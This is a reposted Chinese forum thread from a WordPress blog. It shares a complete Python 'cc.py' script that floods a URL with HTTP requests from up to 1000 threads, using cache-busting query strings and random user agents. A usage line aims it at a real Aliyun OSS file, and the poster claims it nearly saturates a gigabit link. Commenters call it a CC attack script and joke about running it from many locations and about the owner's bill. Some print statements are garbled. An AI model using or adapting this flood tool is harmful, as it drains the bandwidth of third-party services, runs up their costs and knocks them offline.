跳至主要內容
  • Hostloc 空間訪問刷分
  • 售賣場
  • 廣告位
  • 賣站?

4563博客

全新的繁體中文 WordPress 網站
  • 首頁
  • python刷流量脚本
未分類
23 4 月 2020

python刷流量脚本

botian 大佬有话说 :

python刷流量脚本

我也不知道你们为啥要刷它,我只是来凑热闹。

python cc.py -t 1000 -uhttps://zbios2.oss-cn-hongkong.aliyuncs.com/ios2.ipa

实测G口接近跑满

#!/usr/bin/env python
#!coding:utf8
import pycurl
import StringIO
import Queue
from threading import Thread
from threading import Lock
from os import system
import time
import re
import sys
from random import randint
import random
import urllib
import getopt
from optparse import OptionParser

TIMEOUT = 60

parser = OptionParser()
parser.add_option("-t", "–thread", dest="thread_num", action="store",
                      help="thread")
parser.add_option("-u", "–url", dest="url", action="store",
                      help="url")
(options, args) = parser.parse_args()

thread_num = int(options.thread_num)

def get_url():
    pices = options.url.split(‘ ‘)
    return random.choice(pices) + ‘?’ + str(randint(0,99999999999));

def http_get(url):
    try:
      #buf = StringIO.StringIO()
      buf = open(‘/dev/null’, ‘w’)
      c = pycurl.Curl()

      c.setopt(c.NOSIGNAL, 1)
      c.setopt(c.URL, url)
      c.setopt(c.WRITEFUNCTION, buf.write)
      c.setopt(c.USERAGENT, rand_ua())
      c.setopt(c.CONNECTTIMEOUT, TIMEOUT)
      c.setopt(c.TIMEOUT, TIMEOUT)
      c.setopt(c.SSL_VERIFYPEER, 0)
      c.setopt(c.SSL_VERIFYHOST, 0)
      c.setopt(c.FOLLOWLOCATION, 0)
      c.perform()

      rescode = 0
      #res = buf.getvalue()

    except Exception,e:
      rescode = 1
      res = e
    finally:
      buf.close()
      c.close()
    return (rescode, res)

def cc():
    while(True):
      target_url = get_url()
      res = http_get(target_url)
      timestr = time.strftime(‘%Y-%m-%d %H:%M:%S’, time.localtime(time.time()))
      if res == 0:
            print "[%s] 33))
            pass
      else:
            print "[%s] 33%s" % (timestr, target_url, res, res)
      del res

def main():
    threads = []
    for i in range(thread_num):
      threads.append(Thread(target=cc))
    print ‘threads start…’
    time.sleep(1)
    for t in threads:
      t.start()
    for t in threads:
      t.join()

def rand_ua():
    return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/%s.%s (KHTML, like Gecko) Chrome/%s.0.%s.%s Safari/%s.%s"
      % (randint(50,600),randint(20,60),randint(30,80),randint(200,8000),randint(1,99),randint(1,1000),randint(1,99))

if __name__ == ‘__main__’:
    main()

iks 大佬有话说 :

多地点多语言多工具刷剑皇yc010t

riwsh 大佬有话说 :

yc008t
CC脚本

starlove_i 大佬有话说 :

好残忍yc014t

yem 大佬有话说 :

八仙过海

zhongziso 大佬有话说 :

刷这个做什么

ljm4216 大佬有话说 :

登录账号一看,要哭了

BlueSkyXN 大佬有话说 :

啥东西

iyzx 大佬有话说 :

这得欠费多少:lol

Zeros 大佬有话说 :

iks 大佬有话说 : 2020-4-23 19:48
多地点多语言多工具刷剑皇

分布式刷剑皇yc010t

文章導覽

上一篇文章
下一篇文章

AD

其他操作

  • 登入
  • 訂閱網站內容的資訊提供
  • 訂閱留言的資訊提供
  • WordPress.org 台灣繁體中文

51la

4563博客

全新的繁體中文 WordPress 網站
返回頂端
本站採用 WordPress 建置 | 佈景主題採用 GretaThemes 所設計的 Memory
4563博客
  • Hostloc 空間訪問刷分
  • 售賣場
  • 廣告位
  • 賣站?
在這裡新增小工具